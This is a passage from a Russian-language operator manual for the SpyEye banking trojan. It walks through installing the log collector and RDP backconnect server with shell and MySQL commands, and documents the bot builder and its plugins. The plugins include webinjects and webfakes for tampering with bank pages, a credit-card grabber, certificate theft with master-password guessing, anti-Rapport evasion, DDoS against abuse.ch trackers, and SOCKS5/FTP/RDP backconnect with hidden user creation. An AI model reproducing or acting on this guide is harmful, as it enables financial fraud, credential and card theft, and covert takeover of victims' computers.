distr.tgz 91% 2160KB 1.8MB/s 00:01 ETA
Распаковываем архив, запускаем скрипт выставления прав на файлы, проводим кое-какие операции с файлами:
S130:/home/_sec# tar -xf distr.tgz
S130:/home/_sec# dir
distr.tgz permissions.sh SpyEyeCollector
S130:/home/_sec# rm distr.tgz
S130:/home/_sec# dir
permissions.sh SpyEyeCollector
S130:/home/_sec# sh permissions.sh
S130:/home/_sec# rm permissions.sh
S130:/home/_sec# mv SpyEyeCollector/* ./
S130:/home/_sec# rmdir SpyEyeCollector/
S130:/home/_sec# ls -l
total 4788
drwxr-xr-x 2 root root 4096 Jan 18 06:55 configs
-rwxr--r-- 1 root root 3853420 Oct 11 09:51 sec
-rwxr--r-- 1 root root 1031548 Aug 15 17:24 sec-manager
drwxr-xr-x 2 root root 4096 Jan 18 06:55 tables
Теперь создаём БД для коллектора и mysql-пользователя с правами на эту БД:
S130:/home/_sec# mysql -u root -p
Enter password:
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 30407
Server version: 5.0.51a-24+lenny4-log (Debian)
Type 'help;' or '\h' for help. Type '\c' to clear the buffer.
mysql> CREATE DATABASE frmcp3;
Query OK, 1 row affected (0.02 sec)
mysql> CREATE USER 'frmcp3'@'localhost' IDENTIFIED BY 'uYGASGFUGSUFu^U^#$W^R====';
Query OK, 0 rows affected (0.00 sec)
mysql> GRANT SELECT, INSERT, CREATE ON frmcp3.* TO 'frmcp3';
Query OK, 0 rows affected (0.00 sec)
mysql> quit
Bye
Далее, с помощью текстового редактора nano, редактируем конфиг коллектора, прописывая туда инфо БД и пользователя, созданных выше:
S130:/home/_sec# nano ./configs/sec.config
GNU nano 2.0.7 File: ./configs/sec.config Modified
################################################################################
# [SpyEye Collector v0.3.9] configuration file.
#
listening port for logs = "8080"
listening IP-addr for logs = "0.0.0.0"
max established connections = "200"
# Limit of 5 connections enough for handle 1'000 logs in one minute.
max unprocessed logs queue size = "111000"
# Each log allocate minimum 4 KBytes of memory,
# so if you have 100 MBytes of free memory you can
# store about 100*1024/4 = 102400/4 = 25600 logs (in fact number little less).
# This can be used when MySQL server has down and can't process requests.
# When MySQL get up all logs will be inserted into DB.
# If you reach this limit, collector will stop accept new connections.
mysql db name = "frmcp3"
mysql host = "127.0.0.1"
# port = 0 -- is told to MySQL that we want to connect under unix socket.
# By several test we can say that this up perfomance by 10~40%.
# mysql port = "0"
mysql port = "3306"
mysql unix socket = ""
mysql username = "frmcp3"
mysql password = "uYGASGFUGSUFu^U^#$W^R===="
### End of config.
Теперь можно запустить коллектор:
S130:/home/_sec# ./sec -d
Если всё сделано правильно, лог запуска будет примерно такой:
===============================================================================
] ] ] ]] ]] ]] ]]] [[[ ]]] SpyEye Collector v$Hi DC$
===============================================================================
We have next limits for file(=socket) descriptors: current = 1024; max = 1024
Try to change it: current to 100000; max to 100000;
* * * New limits: current = 100000; max = 100000
Default config path: "configs/sec.config".
Get query of creating table from file: table_screens.sql
Opened file: "/home/_sec/tables/table_screens.sql"; size = 403
Table name(4): scr_
Get query of creating table from file: table_reports.sql
Opened file: "/home/_sec/tables/table_reports.sql"; size = 424
Table name(5): rep2_
Get query of creating table from file: table_register.sql
Opened file: "/home/_sec/tables/table_register.sql"; size = 623
Table name(4): rep1
Get query of creating table from file: table_hostban.sql
Opened file: "/home/_sec/tables/table_hostban.sql"; size = 202
Table name(7): hostban
Get query of creating table from file: table_exceptions.sql
Opened file: "/home/_sec/tables/table_exceptions.sql"; size = 3392
Table name(11): exceptions_
Get query of creating table from file: table_creditcards.sql
Opened file: "/home/_sec/tables/table_creditcards.sql"; size = 308
Table name(3): ccs
Get query of creating table from file: table_certifications.sql
Opened file: "/home/_sec/tables/table_certifications.sql"; size = 500
Table name(4): cert
* * * Config successful readed.
Table names:
(04) scr_
(05) rep2_
(04) rep1
(07) hostban
(11) exceptions_
(03) ccs
(04) cert
MySQL :: Host: 127.0.0.1; user: frmcp3; passX2: **************************************************; DB: frmcp3; port: 3306; Unix socket: <NULL>; flags: <NULL>
* * * MySQL connection success.
Try to make clerk socket ...
Successful. Descriptor = 3
Try to bind socket to my addr: INADDR_ANY:8080. ...
Successful. Try to make it reusable... Successful.
Now I become a daemon! >)
Предусмотрен менеджер, позволяющий просматривать статистику работы демона. Запускаем его:
S130:/home/_sec# ./sec-manager
Если коллектор запущен, то отображаться будет примерно следующее:
Look for SpyEyeCollector. /
version of Collector = $Hi DC$; addr = (INADDR_ANY=)0.0.0.0:8080
Child(#1); PARENT uptime = 0d 00:01:41; CHILD uptime = 0d 00:01:41;
Statistic receiving.
| ESTABLISHED right now connections on selected port: 8080
| | All connections to selected port from bots and anybody
| | \ Time out connection (10 seconds no active) without any data
| | \ \ Time Out connections with some data (well, try to accept it)
| | \ \ \ Memorized reports queue size
| | \ \ \ \ Initialization bot in new application/PC
| | \ \ \ \ \ Reports inserted into DataBase
| | \ \ \ \ \ \ Baned Reports by host ban table
| | \ \ \ \ \ \ \ MiBytes Received
| | \ \ \ \ \ \ \ \ MiBytes Unpack
| \ \ \ \ \ \ \ \ \ \ MiByte->DB
|ESTA TotalConn TmOut TOu&d RQSize HitBot ValidRep BanRepo Recv UnPkg Qryed
^C``0 ```````14 ````0 ````0 `````0 `````0 ```````0 ```````0 ````0 `````0 ````0
* Внимание! Не забудьте добавить коллектор в автозапуск (чтобы, после перезагрузки, коллектор запустился и снова принимал логи). Потребуется отредактировать файл /etc/rc.local. Должно получиться что-то вроде:
#!/bin/sh -e
#
# rc.local
#
# This script is executed at the end of each multiuser runlevel.
# Make sure that the script will "exit 0" on success or any other
# value on error.
#
# In order to enable or disable this script just change the execution
# bits.
#
# By default this script does nothing.
/home/_sec/sec -d
exit 0
* Примечание. Для перезапуска демона используйте программу killall, ждите (минут 5), пока "закроются" сокеты на слушающем порту убитого коллектора и снова запускайте коллектор.
* Примечание. Чтобы определить - занят ли тот или иной порт на сервере, используйте нечто вроде:
netstat --inet -npo | grep ':80'
Installation : Server : RDP Backconnect Server
Сервер представляет собой статически собранный бинарник под OS GNU/Linux. Демон складирует инфо о подключённых клиентах в mysql БД.
Установка. (для установки используем виртуальную ОС, поставляемую со SpyEye'ем)
В постоянную папку Input необходимо положить дистрибутив RDP-демона (debian.x86.tar.bz2).
Заливаем дистрибутив из папки Input и вводим пароль соответствующего пользователя с сервера (в данном случае, для транспорта файлов используется не scp, а cat & ssh, ибо в некоторых случаях, могут возникнуть конфликты с версиями glibc):
debian:/home/user# cat /home/user/Desktop/Input/debian.x86.tar.bz2 | ssh root@163.185.19.177 "cat > /tmp/debian.x86.tar.bz2"
root@163.185.19.177's password:
Заходим по SSH. Распаковываем архив, инсталлируем демона:
debian:/home/user# ssh root@163.185.19.177
root@163.185.19.177's password:
S130:~# cd /tmp
S130:/tmp# tar -xf debian.x86.tar.bz2 && rm debian.x86.tar.bz2
S130:/tmp# cd dists/debian.x86/
S130:/tmp/dists/debian.x86# make install
Directory doesn't exist. Creating...
Copying config...
install -c -m 0755 dae /usr/sbin/dae
install -c -m 0755 dae.init /etc/init.d/dae;
update-rc.d dae defaults 99;
Adding system startup for /etc/init.d/dae ...
/etc/rc0.d/K99dae -> ../init.d/dae
/etc/rc1.d/K99dae -> ../init.d/dae
/etc/rc6.d/K99dae -> ../init.d/dae
/etc/rc3.d/S99dae -> ../init.d/dae
/etc/rc2.d/S99dae -> ../init.d/dae
/etc/rc4.d/S99dae -> ../init.d/dae
/etc/rc5.d/S99dae -> ../init.d/dae
Создаём mysql-пользователя (он будет использоваться в настройках главной админки, для получения списка ботов со включённым RDP-плагином):
S130:/tmp# mysql -u root -p
Enter password:
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 35862
Server version: 5.0.51a-24+lenny4-log (Debian)
Type 'help;' or '\h' for help. Type '\c' to clear the buffer.
mysql> CREATE DATABASE rdp;
Query OK, 1 row affected (0.00 sec)
mysql> CREATE USER 'rdp' IDENTIFIED BY 'ZjkSBDFJKSFGUURFG';
Query OK, 0 rows affected (0.00 sec)
mysql> GRANT SELECT, INSERT, DELETE, UPDATE, DROP, ALTER, CREATE ON rdp.* TO 'rdp';
Query OK, 0 rows affected (0.00 sec)
mysql> quit
Bye
Редактируем конфиг демона:
S130:/tmp/dists/debian.x86# nano /etc/dae/dae.conf
GNU nano 2.0.7 File: /usr/local/etc/sshd_config
[options]
mysql_host = localhost
mysql_port = 3306
mysql_db = testdb
mysql_user = test
mysql_pass = testpass
mysql_table_rdp = rdptb
mysql_table_logs = logstb
cfg_file_log_enabled = 1
cfg_file_log = /etc/dae/main.log
cfg_file_log_maxsize = 10485760
cfg_file_blacklist = /etc/dae/blacklist.log
cfg_ip_address = 0.0.0.0
cfg_rdp_port_in = 30000
cfg_rdp_port_out = 30010
magic_code = some_magic_code
Можно изменить следующие параметры (красным выделены те, которые необходимо будет изменить):
- mysql_host — no comments;
- mysql_port — no comments;
- mysql_db — no comments;
- mysql_user — no comments;
- mysql_pass — no comments;
- mysql_table_rdp — no comments;
- mysql_table_logs — no comments;
- cfg_file_log_enabled — флаг записи отладочной информации в cfg_file_log;
- cfg_file_log — путь до файла, куда будет дампится отладочная информация;
- cfg_file_log_maxsize — максимальный размер файла cfg_file_log;
- cfg_file_blacklist — путь до файла, куда будет дампится инфа о клиенте, который отсылает неверный magic_code;
- cfg_ip_address — ip-адрес, прослушиваемый сервером на предмет коннектов от клиентов;
- cfg_rdp_port_in — порт для cfg_ip_address;
- cfg_rdp_port_out — минимальный порт для backconnect'а к подключённым клиентам (для каждого нового подключённого клиента порты выделяются по-порядку);
- magic_code — строка длиной до 15 символов включительно, необходимая для аутентификации клиентов;
Теперь можно запустить демон:
S130:/tmp/dists/debian.x86# /etc/init.d/dae start
Всё. Демон готов к работе.
Для поиска инфы в базе коллектора имеется PHP'шный интерфейс в виде админки формграббера. Админка не предназначена для того, чтобы находиться на сервере. Это клиенское приложение. Итак, прежде всего, заходим в виртуальную систему (инфо о которой описано в разделе Intro).
Итак, сначала необходимо подключиться к серверу, где находится БД коллектора. Для этого использовать gnome-terminal и SSH-клиент:
user@debian:~$ ssh root@163.185.19.177
Теперь нужно подключиться к mysql демону, создать пользователя, и задать этому пользователю права на использование БД коллектора:
S130:~# mysql -u root -p
Enter password:
mysql> CREATE USER 'frmcpviewer' IDENTIFIED BY 'SgFGSADGFJSDGKFy2763272qffffHDSJ';
Query OK, 0 rows affected (0.00 sec)
mysql> GRANT SELECT, INSERT, UPDATE, DELETE ON frmcp3.* TO 'frmcpviewer';
Query OK, 0 rows affected (0.00 sec)
mysql> quit
Также проверьте, что mysql демон прослушивает и внешний IP сервера:
S130:~# whereis mysql
mysql: /usr/bin/mysql /etc/mysql /usr/share/mysql /usr/share/man/man1/mysql.1.gz
S130:~# nano /etc/mysql/my.cnf
S130:~#
Используйте поиск редактора nano (Ctrl + W) по фразе network. Среди найденного должно быть это:
#
# Instead of skip-networking the default is now to listen only on
# localhost which is more compatible and is not less secure.
bind-address = 0.0.0.0
Если это не это, то сделайте это :), и перезагрузите mysql-демон:
S130:~# /etc/init.d/mysql restart
Теперь можно открыть iceweasel (имя firefox'а в debian'ах, лицензионные заморочки...) и проследовать в installer админки формграббера, вбив туда инфо о БД коллектора и о mysql-пользователе, созданных выше:
После нажатия на Install, должно быть нечто такое:
Теперь можно заходить в админку и искать логи:
Installation : Client : Builder : serial.txt
При первом запуске билдера появится такое окно:
Это идентификатор оборудования. Выделите окно, нажмите Ctrl + C и вышлите этот текст автору для получения содержимого файла serial.txt.
Configuration : Client : Builder
Билдер выглядит примерно так:
Соответственно, настройки билдера:
- Encryption key — ключ, которым шифруется config.bin. Ключ прописывается и в бота. Будьте внимательны, если хотите обновить конфиг ботам. Если указать не тот ключ, который использовался при построении билда бота, то боты не смогут обновить конфиг.
- Clear cookies every startup — если включено, то бот, при каждом запуске (будь то запуск ОС или запуск билда бота после обновления) будет удалять кукисы браузеров IE и FF.
* Примечание. Если браузер FF уже запущен, то кукисы не удалятся, так как FF открывает хэндл на файл базы кукисов cookies.sqlite.
- Delete non-exportable certificates — в криптохранилище Windows (это хранилище и использует браузер IE) существует особый тип сертификатов - неэкспортируемые. Т.е. пользователь может их использовать, но их нельзя экспортировать, скажем в *.pfx, и отправить в коллектор. В этом случае, в SpyEye есть возможость удалить все сертификаты этого типа. В этом случае, пользователю ничего особо не останется, как снова импортировать сертификат в криптохранилище. А при импорте, бот уже снимет флаг неэкспортируемости сертификата, и, такой сертификат можно будет отправить в коллектор. Т.е. с одной стороны, использовать эту опцию палевно, с другой стороны - эффективно.
- Dont send http-reports — имеется факт, что в HTTP-отчётах много мусора. Таким образом, имеет смысл отправлять только HTTPS-отчёты (ну, и, плюс, HTTP-отчёты с данными Basic-авторизации). Именно это и делает эта опция.
- Compress build by UPX — если включено, то билдер сожмёт билд бота UPX'ом. Если ваш криптор не сжимает исходный файл, то имеет смысл включить эту опцию.
- Make build without ZLIB support — несмотря на использование протокола HTTP 1.0 в FF инжектах, и на отсутствие хедера Accept-Encoding, некоторые вебсерверы могут присылать сжатый контент (например: gzip, deflate). В этом случае, SpyEye использует библиотеку zlib, чтобы распаковать контент и проинжектить его. Итак, если вы уверены, что ресурсы на вебсерверах, с которыми работают ваши вебинжекты, всегда передаются в несжатом виде (в подавляющем большинстве случаев именно так и происходит), то смело включайте эту опцию. Со включённой опцией, билдер генерирует билд бота без поддержки zlib'а. Это сэкономит 15-16KB размера билда (если измерять разницу сжатых UPX'ом билдов). Однако, в случае, если прийдёт сжатый контент в FF, бот не сможет его инжектировать.
- Make LITE-config — опция определяет нужно ли включать в config.bin такие вещи как: webinjects, screenshots и плагины (кроме customconnector.dll). Дело в том, что в при создании билда бота, config.bin ВСЕГДА вшивается в тело бота. В свою очередь, это влияет на размер exe'шника бота. Т.е. если вы используете тяжеловесные вебинжекты или плагины, то имеет смысл сделать билд без них, а config.bin разместить в главной админке. В этом случае, бот после отстука загрузит конфиг из админки со всем необходимым инструментарием. Такой подход позволяет значительно сократить размер билда бота.
- EXE name — имя файла бота, в системе пользователя (после установки).
- Mutex name — имя mutex'а, который используется для идентификации бота в системе.
- Anti-Rapport — это встроенный модуль, активно противодействующий антируткиту Rapport Trusteer. В частности, SpyEye убивает потоки Rapport'а и блокирует запись отладочных сообщений в его базу отчётов. И в общности, этот модуль следит за целостностью хуков бота. Таким образом, если у бота включён этот модуль, то ни антируткиты типа Rapport'а, ни всякие там трояны типа Zeus'а работать не будут. Тот же RKU, например, не сможет снять хуки бота при включённом модуле Anti-Rapport.
- FF webinjects — эта опция определяет - будут ли работать вебинжекты в FF.
- timestamp — дата создания билдера (кол-во секунд от 1970.01.01). Одинакова в пределах одной и той же версии билдера.
Процесс создания билда и конфига для него происходит следующим образом:
- Создание легковесного config.bin — необходимо включить чекбокс Make LITE-config и нажать кнопку Make config & get build.
- Создание билда бота с легковесным конфигом — необходимо нажать на кнопку Get build.
- Создание полновесного config.bin — необходимо выключить чекбокс Make LITE-config и нажать кнопку Make config & get build.
Таким образом, в папке билдера появится config.bin, который можно залить в админку и билд бота, который можно грузить.
Configuration : Client : Builder : plugins
В каталоге билдера имеется папка plugins. В ней могут находиться плагины (*.dll) и их конфиги (*.dll.cfg). Имя dll'ки плагина определяет его имя, которое будет отображаться в главной панели управления. При этом файл конфига должен иметь имя, которое является результатом конкатенации имени плагина и постфикса ".cfg.dll". Пример. socks5.dll и socks5.dll.cfg.
Более подробную информацию о плагинах смотрите в SpyEye Plugin's SDK.
Configuration : Client : Builder : screenshots
В каталоге билдера имеется папка screenshots. В ней могут находиться текстовые файлы с правилами сбора скриншотов. Скриншоты совешаются при клике мыши. При этом, в центре скриншота находится курсор мыши.
Файл правил содержит строки, каждая из которых должна содержать пять параметров, разделяемых пробелами. Формат следующий:
%URL_MASK% %WIDTH% %HEIGHT% %MINIMUM_CLICKS% %MINIMUM_SECONDS%
- URL_MASK
Маска URL. Если приложение грузит по URL ресурс, попадающий под эту маску, то включается соответствующее правило отправки скриншотов. Правило управляется четырьмя параметрами, описанными ниже.
* Внимание! В маске поддерживается только символ "*" (звёздочка). Он означает ноль или более любых символов
- WIDTH
Ширина области скриншота.
- HEIGHT
Высота области скриншота.
- MINIMUM_CLICKS
Минимальное количество кликов, которое будет совершено прежде, чем соответствующее правило отключится.
- MINIMUM_SECONDS
Минимальное количество секунд, которое пройдёт прежде, чем соответствующее правило отключится.
Правило отключается только тогда, когда сработают последние два параметра (MINIMUM_CLICKS И MINIMUM_SECONDS). Оба!
Возникает вопрос - нафига нужны последних два параметра? Дело в том, что существует проблематика, связанная со скриншотами. Боту достаточно проблематично узнать на какой странице совершается клик (например, ввиду того, что в браузере может быть множество вкладок). Поэтому, и сущетсвуют последние два параметра - чтобы так или иначе (опираясь на кол-во кликов и время, прошедшее с момента загрузки HTTP-ресурса, указанного в URL_MASK) выключать правило скриншотов.
* Внимание! Замечание по синтаксису. Не нужно добавлять символ переноса строки (Enter) в конец какого либо файла правил. При склеивании файлов, билдер добавит их автоматически.
Итак, ещё раз. Не нужно добавлять enter в конец файла правил скриншотов:
Configuration : Client : Builder : webinjects
В каталоге билдера имеется папка webinjects. В ней могут находиться текстовые файлы с правилами инжектирования HTTP(/HTTPS)-ресурсов. Формат инжектов - Zeus'овский. Однако, поддерживаются не все флаги маски set_url. Тем не менее, поддерживаемых флагов, вполне достаточно для того, чтобы говорить о полной совместимости с Zeus'овскими инжектами. О неподдерживаемых флагах будет сказано ниже.
Итак, немного о синтаксисе.
В файле правил содержатся блоки с четырьмя тэгами: set_url, data_before, data_inject, data_after (ну, плюс тэг data_end ещё, указывающий на конец тэга с префиксом data_).
- set_url
В этом тэге указывается маска, на которой сработает соответствующее правило инжектирования. Так же как и в Zeus'е, синтаксически поддерживаются такие вещи как "*" и "#".
Этот тэг может содержать различные флаги (по-умолчанию используется флаг G):
- G — означает что инжектирование будет производиться только для ресурсов, которые запрашиваются GET методом.
- P — означает что инжектирование будет производиться только для ресурсов, которые запрашиваются POST методом.
- L — представляет собой флаг для граббинга содержимого между тэгами data_before и data_after включительно. При этом, сграбленный контент будет оглавляться содержимым тэга data_inject. (Примечание. Сграбленное содержимое можно найти в админке формграббера, указав критерий поиска Hooked Function : "GRABBED DATA")
- H — аналогичен флагу L, за исключением того, что в сграбленное содержимое не включается содержимое тэгов data_before и data_after.
- data_before, data_inject, data_after
Существует три ситуации при работе с этими тэгами:
- Если найден контент по маске data_before и содержимое тэга data_after пусто то ... — бот вставит содержимое тэга data_inject ПОСЛЕ data_before.
- Если найден контент по маске data_after и содержимое тэга data_before пусто то ... — бот вставит содержимое тэга data_inject ДО data_after.
- Если найден контент по маскам data_before и data_after то ... — бот заменит контент между тэгами data_before и data_after включительно на содержимое тэга data_inject.
Пример файла правил вебинжектов:
* Примечание. На практике было обнаружено довольно забавное поведение вебсервера BOA при использовании HTTP 1.0 (именно эту версию HTTP SpyEye использует для инжектирования страниц в браузере Mozilla Firefox). На некоторых ресурсах (*.css, *.js) вебсервер возвращал сжатый контент, при этом в Content-Encoding не было указано, что контент сжатый. Приводило это к тому, что браузер распознавал контент таких ресурсов Invalid Content и страница отображалось некорректно. Несмотря на косяки вебсервера, это можно пофиксить с помощью SpyEye, просто составив пустое правило (с пустыми тэгами data_before, data_inject и data_after) для инжектирования *.css и *.js ресурсов.
Отличия инжектов SpyEye от инжектов Zeus'а:
- Порядок следования тэгов data_before, data_inject, data_after — для SpyEye'я он важен и должен быть именно такой, а для Zeus'а не важен
- Zeus по-стандарту инжектирует CSS и JS контент. Однако, чтобы инжектировать такой контент в SpyEye, обязательно нужно создать правило таким образом, чтобы в тэге set_url содержалась строка ".css" либо ".js" (в зависимости от типа контента для инжектинга)
- В SpyEye'е некорректно реализован флаг H — в Zeus'е он используется для удаления HTML-кода из сграбленного контента HTTP-ресурса
- В SpyEye'е спецсимвол "#" абсолютно аналогичен "*" (в тэге set_url). Хотя в Zeus'е это не так, и спецсимвол "#" используется как синоним "ноль или один любой символ"
Configuration : Client : Builder : collectors.txt
В каталоге билдера должен находиться файл collectors.txt. В файл можно прописать список, каждая строка которого имеет следующий формат (такие строки разделяются Enter'ами):
ip:port
Т.е. это IP, на котором установлен SpyEye Collector и PORT, который коллектор слушает на предмет логов.
Впринципе, вместо IP можно указать доменное имя (Внимание! Именно доменное имя, без префикса "http://" или "https://", ибо протокол, используемый для связи с коллектором - TCP, а не HTTP).
* Примечание. Лучше вешать коллектор на какой-нибудь известный, "распространённый" порт (80 или 443), ибо в некоторых локальных сетях, маршрутизаторы могут блокировать отсылку трафика на нестандартные порты.
* Примечание. В случае невозможности отправки данных первый коллектор, бот будет пытаться отправить данные, используя коллекторы, указанные ниже (пауза между попытками составляет 0.1 сек). Если бот дойдёт до конца списка и данные отправить так и не удалось, то он сохранит отчёт в специальном хранилище и будет пытаться отправить данные при следующей отсылке логов.
Configuration : Client : Builder : customconnector
customconnector представляет собой плагин для связи бота с главной админкой (gate.php). dll'ка и её конфиг находится в папке билдера plugins. Каждая строка этого конфига имеет следующий формат:
url;interval_in_sec
- url — путь до гейта (gate.php) по протоколу HTTP или HTTPS.
- interval_in_sec — интервал отстука в конкретный гейт.
Если по какой-то причине у вас нет плагина customconnector, то билдер, при построении конфига выдаст следующий WARNING:
* Примечание. В случае, если вебсервер не отвечает, бот будет стучать в админки, указанные ниже по списку (паузы между попытками соответствуют интервалам, указанным в конфиге плагина). Если бот дойдёт до конца списка, то он снова перейдёт на первую админку и так далее.
Configuration : Client : Builder : dns.txt
Были обнаружены случаи бана доменного имени на уровне местных DNS-серверов определённой страны. Всвязи с этим, имеется возможость указывать собственный список DNS-серверов. Имеет смысл указывать популярные DNS-серверы типа google dns. В таком случае, бот, для ресолвинга домена из файлов customconnector.dll.cfg или collectors.txt в первую очередь будет использовать те DNS-серверы, которые указаны в dns.txt.
Синтаксис точно такой же как и в collectors.txt
* Примечание. Будьте внимательны, выбирая DNS-серверы. Проблематика заключается в том, что если домен не существует (или блокнут), то DNS-сервер не должен возвращать никаких IP. Существуют DNS-серверы, которые возвращают IP даже в том случае, если домен не существует (например, OpenDNS). Это сделано с целью редиректа на сайт DNS-сервиса:
Вот такого быть не должно. Для тестирования работы того или иного DNS сервера предусмотрена тулза dnsclient.exe
Configuration : Client : Plugins : webfakes
Плагин webfakes может использоваться для подмены содержимого HTTP и HTTPS ресурсов без обращения к оригинальному вебсерверу в браузерах IE и FF. Конфиг плагина совместим в форматом Zeus'овских вебфейков и выглядит следующим образом:
entry "WebFakes"
%URL_MASK% %URL_REDIRECT% %FLAGS% %POST_BLACK_MASK% %POST_WHITE_MASK% %BLOCK_URL% %WEBFAKE_NAME% %UNBLOCK_URL%
end
- URL_MASK — url маска, определяющая нужен ли фейк для конкретного HTTP/HTTPS ресурса.
- URL_REDIRECT — url ресурса, контент которого будет отображаться вместо контента оригинального ресурса.
- FLAGS — поддерживаются флаги G, P а также A. Последний флаг может использоваться для того, чтобы бот вставил дополнительные заголовки BG (BotGuid) и REF (Refferer. То есть URL ресурса, для которого делается фейк) в HTTP хедер при обращении к URL_REDIRECT.
- POST_BLACK_MASK — black-маска POST-запроса, при котором правило фейка переходит в режим блокировки (то есть перестаёт работать).
- POST_WHITE_MASK — если задана White-маска POST-запроса, то фейк не будет работать до тех пор, пока не отправится подходящий под эту маску POST-запрос.
- BLOCK_URL — block-маска фейка может использоваться для блокировки фейка при обращении к определённому url'у.
- WEBFAKE_NAME — имя вебфека. Не особо понятно зачем нужно. Возможно, было зарезервировано в Zeus'е для ручного управления фейками. Не используется.
- UNBLOCK_URL — может использоваться для снятия состяния блокировки с фейка, при обращении к определённому url'у.
* Примечание. Существует кое-какая проблематика работы фейков в браузере FF. Ввиду особенностей API библиотеки nspr4, данные POST-запроса, поступающие для анализа в плагин фейков, ограничены длиной в 4КБ. То есть, при составлении правил фейков, будьте внимательны - используйте такие переменные POST-запроса, которые входят в первые 4КБ HTTP-запроса (включая размер HTTP-шапки).
* Примечание. Плагин не требует включения со стороны админки.
Configuration : Client : Plugins : ddos
Плагин может быть использован, чтобы за'DDoS'ить (сокр. от англ. Distributed Denial of Service, Распределённый отказ от обслуживания) какой-нибудь сервер (ex: abuse.ch). Конфиг плагина имеет следующий вид:
type target port time
type target port time
- type — тип DDoS'а. Поддерживаются следующие: slowloris/ssyn/udp. (ex: ssyn)
- target — IP, либо хост сервера, который нужно за'DDoS'ить. (ex: spyeyetracker.abuse.ch)
- port — порт, подвергаемый DDoS'у (для UPD DDoS'а можно указать 0, для выбора рандомного порта). (ex: 443)
- time — время, в течении которого будет производиться DDoS (для UDP/SSYN используются секунды, для Slowloris - минуты). (ex: 100)
* Примечание. В конфиге плагина можно указать множество заданий на DDoS. (плагин переходит от одного задания к другому постепенно, не многопоточно)
* Примечание. Для типа DDoS'а Slowloris не нужно задавать порт. (по-умолчанию используется 80-ый)
* Примечание. Плагин требует включения со стороны админки.
Configuration : Client : Plugins : ccgrabber
Плагин занимается сбором CC, анализируя POST-запросы приложений. Для детектирования номеров CC используется Luhn algorithm. Если нашелся валидный номер CC, то весь POST-запрос отсылается в коллектор. Найти сграбленные CC можно через соответствующий интерфейс поиска в админке формграббера:
* Примечание. Плагин не требует включения со стороны админки.
Configuration : Client : Plugins : ffcertgrabber
Базовая комплектация SpyEye'я занимается граббингом сертификатов только из крипто-хранилища Windows. Однако Firefox использует собственное хранилище сертификатов. Всвязи с этим, есть специальный плагин для граббинга сертификатов из FF. Предусмотрен подбор паролей по словарю, в случае, если на профиль установелен мастер-пароль.
В конфиге плагина лишь одно значение - минимальное время ожидания перед отправкой сертификатов в коллектор (указывается в секундах).
Сграбленные сертификаты имеют префикс "FF ; ". Искать их можно там же где и сертификаты от IE:
* Примечание. Плагин не требует включения со стороны админки.
* Примечание. Пароль для импорта сграбленного сертификата уточняйте у автора.
Configuration : Client : Plugins : socks5 backconnect
Собственно, плагин поднимает SOCKS5 сервер на боте и предоставляет доступ к нему через backconnect сервер. В главной админке имеется интерфейс, позволяющий отображать список соксов:
Их можно юзать через любой софт, поддерживающий протокол SOCKS5. Рекомендуется использовать Proxifier (вместе с keygen'ом лежит в папке tools)
Конфиг плагина имеет следующую структуру:
%BOTNAME%;%IP%;%PORT%;%RECONNECT_INTERVAL_MSEC%;%AUTORUN_FLAG%
- %BOTNAME% — имя бота, отображаемое в админке. Рекомендуется имеено так и оставить ("%BOTNAME%"). В этом случае, плагин заменит этот текст на реальный GUID бота;
- %IP% — IP backconnect сервера;
- %PORT% — PORT, на котором backconnect сервер прослушивает коннекты от ботов. В разделе Backconnect Server (for SOCKS5 & FTP), он назывался socks_port;
- %RECONNECT_INTERVAL_MSEC% — время, которое плагин ожидает, в случае обрыва связи, прежде чем попробовать приконнектиться к серверу снова;
- %AUTORUN_FLAG% — если 1, то SOCKS поднимается сразу, без команды админки;
* Примечание. Плагин требует включения со стороны админки (в случае, если не используется флаг %AUTORUN_FLAG%).
Configuration : Client : Plugins : ftp backconnect
Собственно, плагин поднимает FTP сервер на боте и предоставляет доступ к нему через backconnect сервер. В главной админке имеется интерфейс, позволяющий отображать список ftp'шников:
Подключаться к ботам можно через любой FTP-менеджер. Рекомендуется через Total Commander.
Конфиг плагина такой же как и у плагина соксов, за исключением одного отличия - %PORT% нужно указывать тот, что в разделе Backconnect Server (for SOCKS5 & FTP) назывался ftp_port.
* Примечание. Плагин требует включения со стороны админки (в случае, если не используется флаг %AUTORUN_FLAG%).
Configuration : Client : Plugins : rdp backconnect
Плагин поднимает RDP-сервер и прокидывает его до Backconnect сервера. Кроме этого, плагин реализует создание сокрытого пользователя, который и нужен для удалённого использования ПК по протоколу RDP. Ещё, в плагине предусмотрена панель управления для запуска любого процеса от любого залогиненого пользователя в системе (чтобы можно было создавать процессы от имени оригинального поьлзователя). Более того, в плагин встроена Portable-версия TotalCommander'а, загружаемого из интернета и запускаемого прямо из памяти (без дампа на диск).
* Примечание. TotalCommander рулит!
* Примечание. Плагину не нужна перезагрузка ОС для работы.
Итак. Конфиг плагина имеет примерно такую структуру:
%IP_OF_BC_SERVER%:%PORT_OF_BC_SERVER%;%MAGIC_CODE%;%WINDOWS_LOGIN%;%WINDOWS_PASSWORD%;%URL_TO_PORTABLE_TCMD%
- %IP_OF_BC_SERVER% — IP Backconnect сервера
- %PORT_OF_BC_SERVER% — порт, на котором RDP-демон слушает коннекты от ботов (в конфиге серверной части он носит название cfg_rdp_port_in)
- %MAGIC_CODE% — строка для аутентификации подключаемых клиентов (в конфиге серверной части оно носит название magic_code)
- %WINDOWS_LOGIN% — имя учётной записи скрытого пользователя в ОС бота.
Внимание! Имя должно быть максимально уникальным. Ибо плагин перетрёт существующую учётку с именем %WINDOWS_LOGIN%. Кроме этого, не используйте имена учётных записей, длина которых меньше 8-ми символов. В противном случае, некоторые ОС (Windows Server 2003, например) просто не позволят создать такую учётку.
- %WINDOWS_PASSWORD% — пароль пользователя %WINDOWS_LOGIN%.
* Примечание. Используйте пароли, в которых имеются буквы в нижнем и верхнем регистрах, а также присудствуют цифры. Причина описана пунктом выше.
- %URL_TO_PORTABLE_TCMD% — прямая ссылка до ptcmd.exe. Именно оттуда будет скачиваться TotalCMD, если вы нажмёте кнопку во встроенной клиентской программе плагина RunAsEx GUI
Плагин включается через главную админку. Список ботов можно увидеть в соответствующем пункте меню (RDP). Подключаться к ботам можно через стандартную Windows-тулзу mstsc.exe Remote Desktop Connection:
Минусы текущей версии плагина:
- Нет поддержки x64 систем;
- Плагину нужны права администратора для работы;
- Не поддерживается Win7 Starter (именно Starter);
